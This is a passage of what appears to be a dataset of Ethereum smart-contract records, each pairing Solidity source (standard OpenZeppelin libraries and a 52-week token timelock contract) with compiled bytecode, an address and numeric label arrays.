solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; interface IMessageRecipient { function handle( uint32 _origin, bytes32 _sender, bytes memory _message ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b506004361061018d5760003560e01c80638129fc1c116100e3578063a9059cbb1161008c578063f2fde38b11610066578063f2fde38b1461060b578063f698da251461063e578063ffa1ad74146106465761018d565b8063a9059cbb14610539578063d505accf14610572578063dd62ed3e146105d05761018d565b8063982aaf6b116100bd578063982aaf6b146104bf5780639dc29fac146104c7578063a457c2d7146105005761018d565b80638129fc1c1461047e5780638da5cb5b1461048657806395d89b41146104b75761018d565b8063395093511161014557806370a082311161011f57806370a0823114610410578063715018a6146104435780637ecebe001461044b5761018d565b806339509351146102d757806340c10f1914610310578063654935f41461034b5761018d565b806318160ddd1161017657806318160ddd1461025c57806323b872dd14610276578063313ce567146102b95761018d565b806306fdde0314610192578063095ea7b31461020f575b600080fd5b61019a61064e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101d45781810151838201526020016101bc565b50505050905090810190601f1680156102015780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102486004803603604081101561022557600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610702565b604080519115158252519081900360200190f35b610264610718565b60408051918252519081900360200190f35b6102486004803603606081101561028c57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020810135909116906040013561071e565b6102c1610794565b6040805160ff9092168252519081900360200190f35b610248600480360360408110156102ed57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813516906020013561079d565b6103496004803603604081101561032657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356107e0565b005b6103496004803603606081101561036157600080fd5b81019060208101813564010000000081111561037c57600080fd5b82018360208201111561038e57600080fd5b803590602001918460018302840111640100000000831117156103b057600080fd5b9193909290916020810190356401000000008111156103ce57600080fd5b8201836020820111156103e057600080fd5b8035906020019184600183028401116401000000008311171561040257600080fd5b91935091503560ff16610896565b6102646004803603602081101561042657600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610990565b6103496109a1565b6102646004803603602081101561046157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16610ab8565b610349610aca565b61048e610be6565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61019a610c02565b610264610c81565b610349600480360360408110156104dd57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610ca5565b6102486004803603604081101561051657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610d57565b6102486004803603604081101561054f57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610db3565b610349600480360360e081101561058857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135610dc0565b610264600480360360408110156105e657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160200135166110ed565b6103496004803603602081101561062157600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611125565b6102646112c7565b6102c16113bd565b60688054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f85780601f106106cd576101008083540402835291602001916106f8565b820191906000526020600020905b8154815290600101906020018083116106db57829003601f168201915b5050505050905090565b600061070f3384846113c2565b50600192915050565b60675490565b600061072b848484611509565b61078a8433610785856040518060600160405280602881526020016120786028913973ffffffffffffffffffffffffffffffffffffffff8a16600090815260666020908152604080832033845290915290205491906116db565b6113c2565b5060019392505050565b606a5460ff1690565b33600081815260666020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168452909152812054909161070f918590610785908661178c565b6107e8611807565b73ffffffffffffffffffffffffffffffffffffffff16610806610be6565b73ffffffffffffffffffffffffffffffffffffffff161461088857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610892828261180b565b5050565b61089e611807565b73ffffffffffffffffffffffffffffffffffffffff166108bc610be6565b73ffffffffffffffffffffffffffffffffffffffff161461093e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b61094a60688686611ed7565b5061095760698484611ed7565b50606a80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660ff9290921691909117905550505050565b600061099b8261193e565b92915050565b6109a9611807565b73ffffffffffffffffffffffffffffffffffffffff166109c7610be6565b73ffffffffffffffffffffffffffffffffffffffff1614610a4957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b60335460405160009173ffffffffffffffffffffffffffffffffffffffff16907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3603380547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055565b606b6020526000908152604090205481565b600054610100900460ff1680610ae35750610ae3611966565b80610af1575060005460ff16155b610b46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061204a602e913960400191505060405180910390fd5b600054610100900460ff16158015610bac57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b610bb4611977565b8015610be357600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff1690555b50565b60335473ffffffffffffffffffffffffffffffffffffffff1690565b60698054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156106f85780601f106106cd576101008083540402835291602001916106f8565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b610cad611807565b73ffffffffffffffffffffffffffffffffffffffff16610ccb610be6565b73ffffffffffffffffffffffffffffffffffffffff1614610d4d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6108928282611a69565b600061070f33846107858560405180606001604052806025815260200161210a6025913933600090815260666020908152604080832073ffffffffffffffffffffffffffffffffffffffff8d16845290915290205491906116db565b600061070f338484611509565b83421115610e2f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e65000000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8716610eb157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332305065726d69743a206f776e6572207a65726f206164647265737300604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8088166000818152606b602090815260408083205481517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98185015280830195909552948b166060850152608084018a905260a0840185905260c08085018a90528151808603909101815260e090940190528251920191909120907f0000000000000000000000000000000000000000000000000000000000001901610f6a6112c7565b83604051602001808461ffff1660f01b81526002018381526020018281526020019350505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611004573d6000803e3d6000fd5b5050506020604051035190508a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146110aa57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8b166000908152606b602052604090206001850190556110e08b8b8b6113c2565b5050505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260666020908152604080832093909416825291909152205490565b61112d611807565b73ffffffffffffffffffffffffffffffffffffffff1661114b610be6565b73ffffffffffffffffffffffffffffffffffffffff16146111cd57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b73ffffffffffffffffffffffffffffffffffffffff8116611239576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611fdc6026913960400191505060405180910390fd5b60335460405173ffffffffffffffffffffffffffffffffffffffff8084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b6000804690507f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f6068600001604051808280546001816001161561010002031660029004801561134e5780601f1061132c57610100808354040283529182019161134e565b820191906000526020600020905b81548152906001019060200180831161133a575b505060408051918290038220602080840196909652828201527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606083015260808201959095523060a0808301919091528551808303909101815260c090910190945250508151910120905090565b600081565b73ffffffffffffffffffffffffffffffffffffffff831661142e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806120e66024913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff821661149a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806120026022913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260666020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316611575576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806120c16025913960400191505060405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff82166115e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f976023913960400191505060405180910390fd5b6115ec838383611bb3565b611636816040518060600160405280602681526020016120246026913973ffffffffffffffffffffffffffffffffffffffff861660009081526065602052604090205491906116db565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152606560205260408082209390935590841681522054611672908261178c565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526065602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b60008184841115611784576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611749578181015183820152602001611731565b50505050905090810190601f1680156117765780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008282018381101561180057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b73ffffffffffffffffffffffffffffffffffffffff821661188d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b61189960008383611bb3565b6067546118a6908261178c565b60675573ffffffffffffffffffffffffffffffffffffffff82166000908152606560205260409020546118d9908261178c565b73ffffffffffffffffffffffffffffffffffffffff831660008181526065602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526065602052604090205490565b600061197130611bb8565b15905090565b600054610100900460ff16806119905750611990611966565b8061199e575060005460ff16155b6119f3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061204a602e913960400191505060405180910390fd5b600054610100900460ff16158015611a5957600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b611a61611bbe565b610bb4611cd0565b73ffffffffffffffffffffffffffffffffffffffff8216611ad5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806120a06021913960400191505060405180910390fd5b611ae182600083611bb3565b611b2b81604051806060016040528060228152602001611fba6022913973ffffffffffffffffffffffffffffffffffffffff851660009081526065602052604090205491906116db565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260656020526040902055606754611b5e9082611e60565b60675560408051828152905160009173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b505050565b3b151590565b600054610100900460ff1680611bd75750611bd7611966565b80611be5575060005460ff16155b611c3a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061204a602e913960400191505060405180910390fd5b600054610100900460ff16158015610bb457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790558015610be357600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600054610100900460ff1680611ce95750611ce9611966565b80611cf7575060005460ff16155b611d4c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061204a602e913960400191505060405180910390fd5b600054610100900460ff16158015611db257600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff909116610100171660011790555b6000611dbc611807565b603380547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3508015610be357600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff16905550565b600082821115611ed157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282611f0d5760008555611f71565b82601f10611f44578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00823516178555611f71565b82800160010185558215611f71579182015b82811115611f71578235825591602001919060010190611f56565b50611f7d929150611f81565b5090565b5b80821115611f7d5760008155600101611f8256fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a656445524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207309e61c925f75dad8ba820487467a6b84a52d1b3976320a2014b30fdc15054b64736f6c63430007060033
[ 5, 20, 9, 37 ]
0xf2453b866ba974dcfb433ddb6b155a68f9a18819
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29894400; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7b451aFd826e648CBD29F20884940F8ede93F4fd; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100b95763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416631624335681146100be57806338af3eed146100e55780636e15266a14610116578063834ee4171461012b57806386d1a69f146101405780638da5cb5b146101575780639b7faaf01461016c5780639e1a4d1914610195578063a4e2d634146101aa578063f2fde38b146101bf578063f83d08ba146101e0578063fa2a8997146101f5575b600080fd5b3480156100ca57600080fd5b506100d361020a565b60408051918252519081900360200190f35b3480156100f157600080fd5b506100fa610210565b60408051600160a060020a039092168252519081900360200190f35b34801561012257600080fd5b506100d361021f565b34801561013757600080fd5b506100d3610225565b34801561014c57600080fd5b5061015561022b565b005b34801561016357600080fd5b506100fa6103d1565b34801561017857600080fd5b506101816103e0565b604080519115158252519081900360200190f35b3480156101a157600080fd5b506100d36103e8565b3480156101b657600080fd5b5061018161047e565b3480156101cb57600080fd5b50610155600160a060020a036004351661049f565b3480156101ec57600080fd5b50610181610533565b34801561020157600080fd5b506101816105db565b60045481565b600254600160a060020a031681565b60055481565b60035481565b60008054600160a060020a0316331461024357600080fd5b60025474010000000000000000000000000000000000000000900460ff16151561026c57600080fd5b6002547501000000000000000000000000000000000000000000900460ff161561029557600080fd5b61029d6103e0565b15156102a857600080fd5b6102b06103e8565b600154600254604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a03928316600482015260248101859052905193945091169163a9059cbb916044808201926020929091908290030181600087803b15801561032457600080fd5b505af1158015610338573d6000803e3d6000fd5b505050506040513d602081101561034e57600080fd5b505060025460408051600160a060020a0390921682526020820183905280517f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a919281900390910190a1506002805475ff00000000000000000000000000000000000000000019167501000000000000000000000000000000000000000000179055565b600054600160a060020a031681565b600454421190565b600154604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051600092600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561044d57600080fd5b505af1158015610461573d6000803e3d6000fd5b505050506040513d602081101561047757600080fd5b5051905090565b60025474010000000000000000000000000000000000000000900460ff1681565b600054600160a060020a031633146104b657600080fd5b600160a060020a03811615156104cb57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008054600160a060020a0316331461054b57600080fd5b60025474010000000000000000000000000000000000000000900460ff161561057357600080fd5b600061057d6103e8565b1161058757600080fd5b4260038190556005546105a0919063ffffffff6105fd16565b6004556002805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017905590565b6002547501000000000000000000000000000000000000000000900460ff1681565b60008282018381101561060c57fe5b93925050505600a165627a7a72305820af40255a7e66526e1be8d1dd3179dda16296b269bd28c6ec269a84ef2eef7b4e0029
[ 16, 7 ]
0xf2454D3C376f4244C8229b3d8498cee95eF40160
// File: @openzeppelin/contracts/utils/Context.sol pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) 